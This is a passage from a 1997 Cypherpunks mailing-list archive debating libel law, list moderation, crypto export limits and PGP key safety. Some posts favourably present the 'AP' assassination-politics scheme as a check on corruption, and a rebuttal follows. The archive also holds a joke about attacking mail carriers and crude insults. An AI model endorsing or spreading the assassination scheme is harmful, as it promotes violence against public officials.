cumulatively, far greater impact on all of us. A clue is present in the likely fact that the origins of defamation laws were primarily to keep the king and the upper-crust free of printed and verbal attack directed by the lower-classes, even given the presence of whatever nominal "free-speech" guarantees were present. Explain, for example, that while it is now universally recognized by the truth is a defense for libel accusations, it was NOT true when William Penn went on trial for libel in the late 1600's. Jim Bell jimbell at pacifier.com From dthorn at gte.net Sat Feb 1 19:19:50 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 1 Feb 1997 19:19:50 -0800 (PST) Subject: Free & Open Society & toleration In-Reply-To: <199702020201.UAA00977@einstein> Message-ID: <32F40783.5EBF@gte.net> Jim Choate wrote: > It has been asserted that I am claiming that a free and open society should > not abide any and all actions in contrast to Jim Bell's assertion that a > free and open society must tolerate any action. > This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY > ECONOMIC system must have some minimum standards on what is allowed. By no > means do I hold that the ONLY means of a free and open society is a democracy. > It is quite possible to have an anarchy which would also be a free and open > society and by DEFINITION would tolerate any action by its members acting > individualy or in concert. [snip] Nobody has a problem with your ideals, it's just that Jim Bell is trying to say (correct me and forgive me if I'm wrong) that: 1. Society will never subscribe to your ideals. 2. Society is not static, i.e., instead of remaining at a constant level of corruption, the officials will keep demanding more, until there's a sudden, catastrophic break. 3. The AP solution has the potential to stabilize the level of corruption, which should make violent revolutions and genocide unnecessary. From dthorn at gte.net Sat Feb 1 19:25:59 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 1 Feb 1997 19:25:59 -0800 (PST) Subject: Cyphernomicon by Tim May Message-ID: <199702020325.TAA06428@toad.com> Toto wrote: > 3.5.1 Contrary to what people sometimes claim, there is no ruling > clique of Cypherpunks. Anybody is free to do nearly anything, > just not free to commit others to course of action, or claim > to speak for the "Cypherpunks" as a group (and this last > point is unenforceable except through reputation and social > repercussions). > 3.6.3 "Why isn't the list moderated?" > ...hardly consistent with many of our anarchist leanings, is it? > - "No, please, let's not become a 'moderated' newsgroup. This > would be the end of freedom! Is this why T.C. May hasn't posted in quite a while? From stewarts at ix.netcom.com Sat Feb 1 19:26:02 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 1 Feb 1997 19:26:02 -0800 (PST) Subject: More on Cellular Encryption Docs Message-ID: <199702020326.TAA06429@toad.com> At 04:10 PM 2/1/97 -0500, John Young wrote: >Here's more on the controlled documents for cellular encryption >from TIA/EIA we described in a 26 January post to cpunks: ... > TR45.0.A > Common Cryptographic Algorithms, Revision B > June 21, 1995, 72 pp. (With ITAR notice on every page) Of course, ITAR as recently modified says it's ok to send this stuff overseas to foreigners, as long as it's on paper. There may be separate restrictions on sending it, or on copying, but they're based on copyright or contractual non-disclosure. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From dthorn at gte.net Sat Feb 1 19:26:04 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 1 Feb 1997 19:26:04 -0800 (PST) Subject: Cyphernomicon by Tim May Message-ID: <199702020326.TAA06430@toad.com> blanc wrote: > From: Toto, quoting the Cyphernomicon > 3.5.1 Contrary to what people sometimes claim, there is no ruling > clique of Cypherpunks. Anybody is free to do nearly anything, > just not free to commit others to course of action, or claim > to speak for the "Cypherpunks" as a group (and this last > point is unenforceable except through reputation and social repercussions). > Toto, I'm surprised at how seriously you take the underlying anarchist > philosophy of the list; you identify so closely with it, and have responded > to its moderation as though it really would be "the end of freedom", even > though you seem to have appeared, or else come out of lurking, only > recently. Is this because you value anarchy, or free speech, or the > existence of the Cypherpunks as a unique group of stray cats [ :>) ]? > Side note: Since Tim isn't on the list and hasn't been for a month, I've been > wondering if it had anything to do with the moderation experiment, although > it is unlike him to have left without either an argument or at least some > kind of statement about it. Maybe Tim's Last Words got "lost", eh? So far, several people have stated that "it could happen". From jya at pipeline.com Sat Feb 1 19:27:44 1997 From: jya at pipeline.com (John Young) Date: Sat, 1 Feb 1997 19:27:44 -0800 (PST) Subject: NSA Material at the National Archives Message-ID: <199702020327.TAA06468@toad.com> For access to the 5,000 items declassified under NSA's OPENDOOR program (http://www.nsa.gov:8080/programs/opendoor), we got this answer from the National Archives: Dear Mr. Young: This is in response to your electronic mail inquiry of December 20, 1996, concerning National Security Agency records transferred to the National Archives. The material described on the NSA web site was transferred to the National Archives and made available in April 1996. We can supply you with electrostatic (paper) copies of select files for $0.25 per page. Please let us know which files you would like copied, and we will send you a reproduction price quote (please include your mailing address with all such requests). We ask that you limit each request to five files. Should you choose to come to Washington to do research, our records and microfilm publications are available for consultation without charge in our research room. The National Archives at College Park (Archives II), is located at 8601 Adelphi Road, College Park, Maryland. If you do not have a research card, you must apply for one in the reception area. Research room hours (except legal holidays) are 8:45 a.m. to 5 p.m., Monday and Wednesday; and 8:45 a.m. to 9 p.m., Tuesday, Thursday and Friday. Our subject matter specialists are not on duty after 5:15 p.m. The research rooms also are open on Saturday from 8:45 a.m. to 4:45 p.m., with a small research room staff present. Requests for records must be made before 3:30 p.m. Monday-Friday; no requests can be made on Saturday. The telephone number for the Archives II Reference Branch is 301-713-7250. Ken Schlessinger Archives II Textual Reference Branch National Archives at College Park 8601 Adelphi Rd College Park, MD 20740-6001 kenneth.schlessinger at ARCH2.NARA.GOV From stewarts at ix.netcom.com Sat Feb 1 19:40:45 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 1 Feb 1997 19:40:45 -0800 (PST) Subject: "Secret" Postal Device stolen Message-ID: <199702020340.TAA06830@toad.com> At 06:51 PM 2/1/97 -0800, you wrote: > Is anyone on the list willing to 'knock off' a couple of mail >carriers and get back to us with a definitive answer on this? We were joking about this last night - this is just encouraging people to hold up mail carriers and say "Hand it over!" "Hand over what?" "You, know, the thingie" "What thingie?" "The one they steal from mailmen in Miami" "You mean this?" "No, it wouldn't be one of them, not worth enough" "How about one of these?" "Maybe, but that's probably not it" "My mailbag?" "No, that's too obvious." "ID card?" "No, you don't look enough like me" "Dog repellent?" "No, that's kind of smelly*" Of course, as Toto suggested, it could be just that the carriers are delivering dope on the side, or maybe they're stealing the mail carriers' shirts to complete their disgruntled postal workers' costumes. [*"Cheshire perhaps?" "No, we're all out of that"...] # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From jimbell at pacifier.com Sat Feb 1 19:40:45 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 1 Feb 1997 19:40:45 -0800 (PST) Subject: Libel, Times v. Sullivan Message-ID: <199702020340.TAA06831@toad.com> At 02:52 PM 2/1/97 -0800, Greg Broiles wrote: >Also, people interested in _Times v. Sullivan_ and the interplay between >defamation and the First Amendment might find "Make No Law: The Sullivan >Case and the First Amendment" by Anthony Lewis (ISBN 0-697-73939-4) of >interest. The decision itself is online at >=254> - the factual summary of the Sullivan case posted here was not >correct, and the first few pages of the opinion provide a description of >the underlying facts. > >Since we've now got Jim Bell arguing that it's obvious that a free and open >society must tolerate anything which might be defamatory, and Jim Choate >arguing that it's obvious that a free and open society cannot tolerate >anything which might be defamatory, I think I'm going to wander away from >this discussion confident that the answer is, at least, nonobvious. :) Your last paragraph looks like an exercise of the silly game the TV show "60 minutes" producers often play when they read the letters from the audience about a previous report on a controversial subject. They first read a letter from an outraged viewer who claims that the TV show's producers must have been biased in one direction, and then they read another letter from a different viewer who alleges they showed a bias in the opposite direction. The show is trying to leave you with the impression that they MUST have been unbiased, because they are being accused of diametrically opposite leanings. All they are really showing is that given the hundreds and probably thousands of letters they receive on each show weekly (which are, by definition, written by self-motivated people) they can get at least one on each end of the spectrum for whatever subject they've just covered. Not surprising. (If anything, I'd be surprised if they ever DON'T recieve at least two such letters which could be misused in this way...) So before you "wander away," perhaps you ought to explain why we NEED defamation laws? The sun would still rise tomorrow morning absent them. A few feelings might be hurt, that's true, but on the other hand the implied endorsement of The State ("If that statement wasn't true, he couldn't print it!") has a, cumulatively, far greater impact on all of us. A clue is present in the likely fact that the origins of defamation laws were primarily to keep the king and the upper-crust free of printed and verbal attack directed by the lower-classes, even given the presence of whatever nominal "free-speech" guarantees were present. Explain, for example, that while it is now universally recognized by the truth is a defense for libel accusations, it was NOT true when William Penn went on trial for libel in the late 1600's. Jim Bell jimbell at pacifier.com From dthorn at gte.net Sat Feb 1 19:42:25 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 1 Feb 1997 19:42:25 -0800 (PST) Subject: Free & Open Society & toleration Message-ID: <199702020342.TAA06926@toad.com> Jim Choate wrote: > It has been asserted that I am claiming that a free and open society should > not abide any and all actions in contrast to Jim Bell's assertion that a > free and open society must tolerate any action. > This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY > ECONOMIC system must have some minimum standards on what is allowed. By no > means do I hold that the ONLY means of a free and open society is a democracy. > It is quite possible to have an anarchy which would also be a free and open > society and by DEFINITION would tolerate any action by its members acting > individualy or in concert. [snip] Nobody has a problem with your ideals, it's just that Jim Bell is trying to say (correct me and forgive me if I'm wrong) that: 1. Society will never subscribe to your ideals. 2. Society is not static, i.e., instead of remaining at a constant level of corruption, the officials will keep demanding more, until there's a sudden, catastrophic break. 3. The AP solution has the potential to stabilize the level of corruption, which should make violent revolutions and genocide unnecessary. From markm at voicenet.com Sat Feb 1 19:51:41 1997 From: markm at voicenet.com (Mark M.) Date: Sat, 1 Feb 1997 19:51:41 -0800 (PST) Subject: Libel & the 1st Amendment In-Reply-To: <199702020156.RAA13867@mail.pacifier.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On Sat, 1 Feb 1997, jim bell wrote: > At 12:52 PM 2/1/97 -0500, Mark M. wrote: > >On Sat, 1 Feb 1997, Peter J. Capelli wrote: > > > >> You mean to say, rich people can overcrowd the courts as much as they > >> like, while others are restricted by contigency-only lawyers ( Call > >> 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to > >> control > >> a poor one with many frivolous lawsuits ... while they can afford to file > >> lawsuit after lawsuit, the poor person cannot defend himself. > > > >What, exactly, would be the point of suing a poor person? > > To quiet him from political dissent, presumably. I think the term coined a > few years ago was "SLAPP", something akin to "Strategic Lawsuit Against > Public Policy," or similar. I should point out that in my previous post, I was refering to the specific instance of libel -- not any general lawsuit. I can think of very few instances where a rich person would sue someone without the resources to even defend himself for libel just to harass the defendant. I'm sure there are a few cases, but it wouldn't be worth the plaintiff's time or money. I would be interested if anyone knows of any specific examples of this. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMvQQAyzIPc7jvyFpAQFAfQgAp5qsAm9LZdXeR3+8s4LkUv5qH6Ju8Rda te3EJ90gjHxDcv/QRopQ3fRM5KzsHgr5JqPRWDFF0Zo3CxbRsB8x/CK3aIo2axpt xEAeA/TT3oBWOCXFs2fVR6dCy4XAMh4e/q58kNnDqqUnJNBgto5kr8Hp4op9Ypgi WO0G0Su6L8JuBwnui6Ni5XxHSBchBwu6Z0Jv0TFrG43lnS++K+UriX9cIYxR8JVH roUg/9SDCZysmuEvNh8VMLAd492wD2jhge4LiiYaSNWrpe5JD2jA/nJ9Olevpu3v 4+75YOpRIgHAugMyl/bbNZgTjStoLUicHATyt7PLEUtj/sbmPbakkQ== =qrVu -----END PGP SIGNATURE----- From toto at sk.sympatico.ca Sat Feb 1 20:00:16 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 20:00:16 -0800 (PST) Subject: Cyphernomicon by Tim May In-Reply-To: <01BC1053.485521C0@king1-06.cnw.com> Message-ID: <32F42C19.50EA@sk.sympatico.ca> blanc wrote: > Toto, I'm surprised at how seriously you take the underlying anarchist > philosophy of the list; you identify so closely with it, and have responded > to its moderation as though it really would be "the end of freedom", even > though you seem to have appeared, or else come out of lurking, only > recently. Is this because you value anarchy, or free speech, or the > existence of the Cypherpunks as a unique group of stray cats [ :>) ]? I value Reason (big 'R'), humor (small 'h'), and A/ambiguity (take your pick). Anarchy is only a pause between dictators. Fascism is necessary to remind us not to take freedom for granted. One should call for 'order' during the rein of anarchy and for 'freedom during times of Fascism. I have 'appeared' and/or 'come out of lurking' on the CypherPunks list at various times since it's inception, under various personas. Few have noticed, and fewer, still, have ever accurately described, as you have, what I truly value about the CypherPunks--"a unique group of stray cats." The CypherPunks have, over the years, weathered varying sorts of 'problems' in the development of the list, as a result of various 'voices of Reason' prevailing in the setting the list's direction--even when those 'voices' were diametrically opposed in their beliefs. What currently threatens the list, in my opinion, is not the dissension, but the rise of a cliquish sheep-mentality and the resulting dismissal of the opinions of people of Reason (and the opinions of 'anyone', in general, whom 'I' perceive as being on the 'other side' of an issue). If the day comes when I am able to file away the CypherPunks list under this-or-that category, then I will put a tombstone in the file, as well, and put flowers in it once a year. Toto > Side note: > Since Tim isn't on the list and hasn't been for a month, I've been > wondering if it had anything to do with the moderation experiment, although > it is unlike him to have left without either an argument or at least some > kind of statement about it. > > .. > Blanc From azur at netcom.com Sat Feb 1 20:14:17 1997 From: azur at netcom.com (Steve Schear) Date: Sat, 1 Feb 1997 20:14:17 -0800 (PST) Subject: "Strong" crypto and export rule changes. Message-ID: > What the US government will allow to be exported is not "strong >encryption." It is encryption only slightly too strong to be broken >by an amateur effort. For the right investment in custom hardware, it >falls quickly. (500,000 $US = 3.5 hour avg break). > Considering Ian's feat you certainly seem to have had your crystal ball in hand. --Steve From ravage at EINSTEIN.ssz.com Sat Feb 1 20:16:19 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Sat, 1 Feb 1997 20:16:19 -0800 (PST) Subject: Free & Open Society & toleration (fwd) Message-ID: <199702020418.WAA01210@einstein> Forwarded message: > Nobody has a problem with your ideals, it's just that Jim Bell is > trying to say (correct me and forgive me if I'm wrong) that: > > 1. Society will never subscribe to your ideals. But other than two points they already do. The two points being, 1. Libel is a recognized legal concept now, the difference is one of degree. That degree of difference being how much money there is available for the lawyer and their willingness to enforce the concepts of justice in the society based upon their perceived ability to profit by it. 2. The extension of acceptance of reasonable legal representation by lot from not only the defence but also the prosecution. My solutions to these two issues are: 1. Removal of the lawyer from the ultimate choice of whether the case should be pursued. 2. The minimalization of the defendants and plaintiffs monetary resources by removing them from the legal system by choosing the legal representation of both parties by lot. 3. By moving the responsibility of police to provide evidence from the prosecution to the court we equalize the impact of irregularities in evidence selection as well as minimizing the sorts of evidence disputes which so impact some trials (ie OJ Simpson). 4. By the implimentation of a bond proviso on the part of the plaintiff the system provides a check and balance reducing nuisance cases as well as reducing the taxation load on the citizenry. > 2. Society is not static, i.e., instead of remaining at a constant > level of corruption, the officials will keep demanding more, > until there's a sudden, catastrophic break. Absolutely, that is one of the reasons I refuse to seperate those who represent the social contract (eg the Constitution) and those who are impacted by it, which includes even those who represent it and enforce its various responsibilities. AP relies on this distinction as axiomatic. This axiomatic view is ultimately based in a jealous greed for what others have (ie power, percieved or real) and the implicit belief that all people are NOT created equal. > 3. The AP solution has the potential to stabilize the level of > corruption, which should make violent revolutions and genocide > unnecessary. But it doesn't. What it does is provide a mechanism for de-stabalization. Just look at the Middle East and the history of assassination. Assassinations have never stabalized that region or any other. There is nothging in our current understanding of human psychology and social interactions that leads to the conclusion that threats of violence will necessarily force people to comply. If it did the government (as perceived by AP) would not have to deal with real opposition. Simply threaten the opposition and it melts away for the same reason that supposedly the government would cease to oppose radicalism (ie changes in the status quo forced by small groups upon the masses). If anything every real world example of AP demonstrates an increase in corruption (eg. Beirut). The closest analog in history to AP is the "Flowery Wars" as practiced by the Aztecs. However, these were motivated by a belief in religous homogeneity and not one of politics. Also, implicit in this was the axiomatic acceptance of a real class seperation between those who ruled and those who were ruled. By no means could one accept the premise that this caused the Aztec rulers to be more sensitive to corruption or the continued existance of their system. Another good example is assassination in ancient Rome, it is clear that such activities in no way reduced corruption. If anything AP provides a rationale (ie self-defence) to impose even harsher a priori conditions on sections of a society by another part of that society. Hardly what I would consider a stabalizing condition let alone democratic. What is required for stability is for each group to feel unthreatened and secure in expressing their beliefs without fear of reprisals and at the same time recognizing they must provide room for others beliefs. There must also be the realization that refusal to abide by these precepts will be met with immediate consequences. Something AP can't do, as it explicitly promotes threats and the carrying out thereof. On another issue, it was asked what purpose there is in suing a poor person. Simple lack of monetary wealth should be no more reason to exempt a party from justice than having large quantities. A citizen should face the consequences of their actions, how rich or poor they are is an irrelevant issue. Concepts required for a true working democracy: Liberty Justice Equality Fraternity Jim Choate CyberTects ravage at ssz.com From toto at sk.sympatico.ca Sat Feb 1 20:34:10 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 20:34:10 -0800 (PST) Subject: Libel, Times v. Sullivan In-Reply-To: <199702020313.TAA20622@mail.pacifier.com> Message-ID: <32F431BA.DBF@sk.sympatico.ca> jim bell wrote: > Your last paragraph looks like an exercise of the silly game the TV show "60 > minutes" producers often play when they read the letters from the audience > about a previous report on a controversial subject. They first read a > letter from an outraged viewer who claims that the TV show's producers must > have been biased in one direction, and then they read another letter from a > different viewer who alleges they showed a bias in the opposite direction. > The show is trying to leave you with the impression that they MUST have been > unbiased, because they are being accused of diametrically opposite leanings. Sounds suspiciously like Sandy's approach to 'fair' moderation, to me. > All they are really showing is that given the hundreds and probably > thousands of letters they receive on each show weekly (which are, by > definition, written by self-motivated people) they can get at least one on > each end of the spectrum for whatever subject they've just covered. Perhaps they author these 'letters' themselves: "I agree wholeheartedly with the position espoused by '60 Minutes'. and, "I don't not think maybe dat dese guys are write, nohow." > A clue is present in the likely fact that the origins of defamation laws > were primarily to keep the king and the upper-crust free of printed and > verbal attack directed by the lower-classes, even given the presence of > whatever nominal "free-speech" guarantees were present. Next thing you know, saying, "The king is fucking the queen.", is libel and defamation. Go figure... Toto From jimbell at pacifier.com Sat Feb 1 20:36:44 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 1 Feb 1997 20:36:44 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702020435.UAA27638@mail.pacifier.com> At 08:02 PM 2/1/97 -0800, Toto wrote: >Phillip M Hallam-Baker wrote: >> The problem is that you are a crushing bore. You peddle your crackpot >> scheme long after it has been made plain nobody is interested. > > I also thing that the other list members involved in this thread are >'nobodies', but I was too polite to say anything. It's odd that you would say this. I get that impression ("nobodies") about practically EVERY subject discussed here. Why name this particular one, as if it were somehow special? Jim Bell jimbell at pacifier.com From scott-b at ix.netcom.com Sat Feb 1 20:44:01 1997 From: scott-b at ix.netcom.com (Scott) Date: Sat, 1 Feb 1997 20:44:01 -0800 (PST) Subject: Keystroke sniffer question Message-ID: <2.2.32.19970202043909.006c8dd0@popd.ix.netcom.com> How can you detect if there is a keystroke sniffer on your computer. Is there a file name to look for? Where do people get them? ======================================= Scott Bellavance scott-b at ix.netcom.com http://www.netcom.com/~scott-b/homepage.html ======================================= -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQCNAzAu56UAAAEEAL8pOdPu2pw5E91f99ByJWT+O1smtcOlIr6GL9TdCbdZ6I2U UPLl7RL5cV4e3Wv4nIIZiOIePMAUouM5fQZib4vnGpCKM/WxfGQBRGafsq2mlzvE IKLBrdYhQ5STl/qZIaCKI2+V4hdsvTPaI0PCqGzGoiDv9gbbZ40Gi3F38KqtAAUR tCtTY290dCBSLiBCZWxsYXZhbmNlIDxzY290dC1iQGl4Lm5ldGNvbS5jb20+ =Hfbk -----END PGP PUBLIC KEY BLOCK----- From adam at homeport.org Sat Feb 1 20:59:53 1997 From: adam at homeport.org (Adam Shostack) Date: Sat, 1 Feb 1997 20:59:53 -0800 (PST) Subject: "Strong" crypto and export rule changes. In-Reply-To: Message-ID: <199702020455.XAA02857@homeport.org> Steve Schear wrote: | > What the US government will allow to be exported is not "strong | >encryption." It is encryption only slightly too strong to be broken | >by an amateur effort. For the right investment in custom hardware, it | >falls quickly. (500,000 $US = 3.5 hour avg break). | > | | Considering Ian's feat you certainly seem to have had your crystal | ball in hand. I wear three around my neck. Its a new age thing. More seriously, that estimate is the cost of breaking DES on custom hardware, based on Wiener's figures. Ian got RC4-40 in 3.5 hours on I don't know how much hardware, not a lot of it custom, AFAIK. Adam -- Pet peeve of the day: Security companies whose protocols dare not speak their name, because they don't have one. Guilty company of the day is now V-One. From declan at pathfinder.com Sat Feb 1 21:10:17 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Sat, 1 Feb 1997 21:10:17 -0800 (PST) Subject: Cyphernomicon by Tim May In-Reply-To: <199702020325.TAA06428@toad.com> Message-ID: That question is one for Tim to answer, but I should point out that philosophical anarchists are not necessarily opposed to rules, just government rules -- which this moderation policy clearly is not. -Declan On Sat, 1 Feb 1997, Dale Thorn wrote: > Toto wrote: > > 3.5.1 Contrary to what people sometimes claim, there is no ruling > > clique of Cypherpunks. Anybody is free to do nearly anything, > > just not free to commit others to course of action, or claim > > to speak for the "Cypherpunks" as a group (and this last > > point is unenforceable except through reputation and social > > repercussions). > > 3.6.3 "Why isn't the list moderated?" > > ...hardly consistent with many of our anarchist leanings, is it? > > - "No, please, let's not become a 'moderated' newsgroup. This > > would be the end of freedom! > > Is this why T.C. May hasn't posted in quite a while? > > > From toto at sk.sympatico.ca Sat Feb 1 21:17:23 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 21:17:23 -0800 (PST) Subject: Free & Open Society & toleration In-Reply-To: <199702020201.UAA00977@einstein> Message-ID: <32F4401E.3F73@sk.sympatico.ca> Jim Choate wrote: > It has been asserted that I am claiming that a free and open society should > not abide any and all actions in contrast to Jim Bell's assertion that a > free and open society must tolerate any action. > > This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY > ECONOMIC system must have some minimum standards on what is allowed. By no > means do I hold that the ONLY means of a free and open society is a democracy. > It is quite possible to have an anarchy which would also be a free and open > society and by DEFINITION would tolerate any action by its members acting > individualy or in concert. I have waited, with bated breath, for you to take a position which is short, concise, and well-reasoned. Well, you finally did, but you just couldn't leave it alone, could you? I think that what you have written (above) is a valid and meaningful statement of your position. I see what follows, however, as a train of 'logic' which follows a pre-defined, emotionally-charged justification of a defensive position you have taken, as a result of a real or imagined 'slight'. I have followed your 'libel' thread, as rambling (and sometimes dichotomously incoherent) as it is, and I recognize that you are passionate in your beliefs (for which I salute you), but I think that perhaps your interests might be better served if you let logic lead your emotions. If you did so, I might well hire you as my lawyer (to defend me in your libel suit against me), since you do have a 'bulldog' sense of determination in pursing any position you take. The million-and-one posts you made with the results of your search-engine research on libel only served to accentuate your inability to fully understand the issues underlying libel and defamation. Your own opinions regarding your thoughts and opinions regarding these same issues were much more poignant and enlightening. I would hope that, in the future, you would justify your beliefs and opinions with a revelation of your own points of logic (or illogic) rather than attempting to support them with legalese rulings which often stand on a foundation of sand, especially under close judicial scrutiny. You do, indeed, raise some points that are worthy of valid consideration, and debate, but they tend to get lost in your excessive arguments regarding them. Toto From dthorn at gte.net Sat Feb 1 21:42:00 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 1 Feb 1997 21:42:00 -0800 (PST) Subject: Cyphernomicon by Tim May In-Reply-To: Message-ID: <32F428CD.AB9@gte.net> Declan McCullagh wrote: > That question is one for Tim to answer, but I should point out that > philosophical anarchists are not necessarily opposed to rules, just > government rules -- which this moderation policy clearly is not. I've seen this kind of statement so many times I just have to point it out: "which this moderation policy *clearly* (emph. mine) is not". Why is it so clear to you, but not everyone? Am I missing something? Didn't Reagan, Bush, North et al make it clear enough to Americans that much of what the govt. does has been privatized, as if we didn't know already from the 1970's assassination hearings in the Congress, or from when Carter fired the 900 security guys and they went to work for "private" contractors? I ask you again to look at the motives of the people involved. John Gilmore isn't about to waste a second of his personal time "moderating" this list (who could blame him?), and I can't for the life of me see a reason why Sandy would want to devote so much time to it. Have you or anyone seen a real reason why Sandy would want to do this? Is he so devoted to crypto and personal freedom that he'll do *anything* to eliminate the postings which "threaten" this list, or could there be some other, hidden motivation? My long experience in the real world says that professional people do *not* devote a great deal of their time to things like this unless there is an *awfully* good reason. > On Sat, 1 Feb 1997, Dale Thorn wrote: > > Toto wrote: > > > 3.5.1 Contrary to what people sometimes claim, there is no ruling > > > clique of Cypherpunks. Anybody is free to do nearly anything, > > > just not free to commit others to course of action, or claim > > > to speak for the "Cypherpunks" as a group (and this last > > > point is unenforceable except through reputation and social > > > repercussions). > > > 3.6.3 "Why isn't the list moderated?" > > > ...hardly consistent with many of our anarchist leanings, is it? > > > - "No, please, let's not become a 'moderated' newsgroup. This > > > would be the end of freedom! > > Is this why T.C. May hasn't posted in quite a while? From toto at sk.sympatico.ca Sat Feb 1 21:43:40 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 21:43:40 -0800 (PST) Subject: Fighting the cybercensor In-Reply-To: <199702020435.UAA27638@mail.pacifier.com> Message-ID: <32F4447D.2F6C@sk.sympatico.ca> jim bell wrote: > At 08:02 PM 2/1/97 -0800, Toto wrote: > > I also think that the other list members involved in this thread are > >'nobodies', but I was too polite to say anything. > > It's odd that you would say this. I get that impression ("nobodies") about > practically EVERY subject discussed here. Why name this particular one, as > if it were somehow special? Jim, "You're 'nobody', till 'somebody' loves you..." Everybody has their own prediliction as to what interests them, and what is 'frivilous' on the list. Someone, in private email, mentioned that they felt that 60% of the posts were 'uninteresting'. I replied that this seemed to be a close approximation of many list members' beliefs, but that, if we all moderated/censored out 'our' 60% of 'uninteresting' posts before the list was sent out, that there would be precious little left. I don't know if you recognized my comment as humor, since I have an aversion to using 'happy faces' (the result of a childhood trauma), but I just love to poke fun at the plethora of personas on the list who seem to believe that anything outside of their immediate scope of interest is somehow 'unworthy' of being posted the list. By the way, in order to prevent this post from going to the 'flames' list, I will NOT say that you are a low-life, scum-sucking Nazi piece of shit. I will likewise refrain from suggesting that your mother wears army boots, you are a child-pornographer, an imbecile, and a pervert, or that you beat your wife and children regularly. By golly, I think I'm 'getting the hang of' this new, improved, Politically Correct, nicey-nice list format. Toto From dlv at bwalk.dm.com Sat Feb 1 21:50:16 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 1 Feb 1997 21:50:16 -0800 (PST) Subject: Key Security Question In-Reply-To: <199702012055.MAA26123@toad.com> Message-ID: <9gDH2D8w165w@bwalk.dm.com> Bill Stewart writes: > >> My computer went into the shop a few days ago, and I was unable to take > >> my PGP keys off it before it went in. What are the security risks here? > >> If the repairman chooses to snoop through the files, what would he be > >> able to do with my key pair? Will I need to revoke the key and make a > >> new one, or will I be relatively safe since he doesn't have my > >> passphrase? > > Passphrases are MD5-hashed into 128-bit IDEA keys and used to > encrypt the secret key; there's a "pgpcrack" program out there > that does dictionary-style searches to find if you've got > wimpy passphrases. So if your passphrases is "secret", you lose, > but if it's "fjhw;doifvjuc-[09efiu v` 2 4rnhc;ljoipcvjpoiewujfgv;loik" > you're probably pretty safe, unless that's written on the yellow > sticky you left on the side of the PC. > > On the other hand, if the "repairman" replaced your pgp executable > with version 2.6.3kgb, which uses your hashed passphrase as the > session key, you're hosed. Or if he installed a keystroke sniffer, > or added a small radio transmitter to your keyboard, or whatever. > Depends on your threat model. If you need to be paranoid, > they've already gotten you.... If you're really paranoid, you can boot from a clean floppy and reinstall everything from your backup tapes. You do have a contingency plan in case your hard disk goes bad, or gets a virus, don't you? Well, if you're in doubt, exercise it. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From mhayes at infomatch.com Sat Feb 1 21:54:52 1997 From: mhayes at infomatch.com (Murray Hayes) Date: Sat, 1 Feb 1997 21:54:52 -0800 (PST) Subject: GSM technology Message-ID: <199702020554.VAA17925@infomatch.com> On Mon, 20 Jan 1997 13:37:38 -0800, Lucky Green wrote: >At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote: >> Does anyone use ADSL lines? or are they still very expensive? > >I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month. > I'm not sure about Nortel but ADSL is availible in Calgary from CadVision. http://www.cadvision.ca It's not cheap. BCTel is yapping about offering it by the end of the year. From unicorn at schloss.li Sat Feb 1 21:58:12 1997 From: unicorn at schloss.li (Black Unicorn) Date: Sat, 1 Feb 1997 21:58:12 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater In-Reply-To: Message-ID: On Fri, 31 Jan 1997, rex wrote: > Black Unicorn wrote: > > >If you want to look at it a different way, if you are involved with a drug > >offense and are not using a weapon, you'll get a lower sentence than a > >full fledged drug crime. It's a step in the right direction - i.e. away > >from manadatory sentencing of a flat time period for a crime regardless of > >circumstances. > > But Putra got the same sentence she would have gotten had she been > convicted on both charges. The fact that she was acquitted meant nothing. That this is true once, does not make it so in all cases. You also lose sight of the general scheme of things. That the sentence imposed may have the same maximum sentence with sentencing enhancements and a lesser included offense as with conviction of a "great offense" means nothing with regard to the validity of sentencing enhancements. That theft and low level bank fraud have the same penality when theft is enhanced with a "victim was infirm or helpless" or a "firearm was used in furtherance of the crime" could as easily reflect a lack of vigor and spite in the prosecution of bank fraud as it could reflect severe vigor and spite in the prosecution of theft. Please note that the difference between: "But he got the same sentence as he would have if he was convicted of carrying a gun in furtherance of the crime." and "But he got the same sentence as he would have is he was not convicted of carrying a gun in furtherance of the crime." is subtle at best. Next time don't get caught stealing with a gun nearby. -- Forward complaints to : European Association of Envelope Manufactures Finger for Public Key Gutenbergstrasse 21;Postfach;CH-3001;Bern Vote Monarchist Switzerland From blancw at cnw.com Sat Feb 1 22:00:20 1997 From: blancw at cnw.com (blanc) Date: Sat, 1 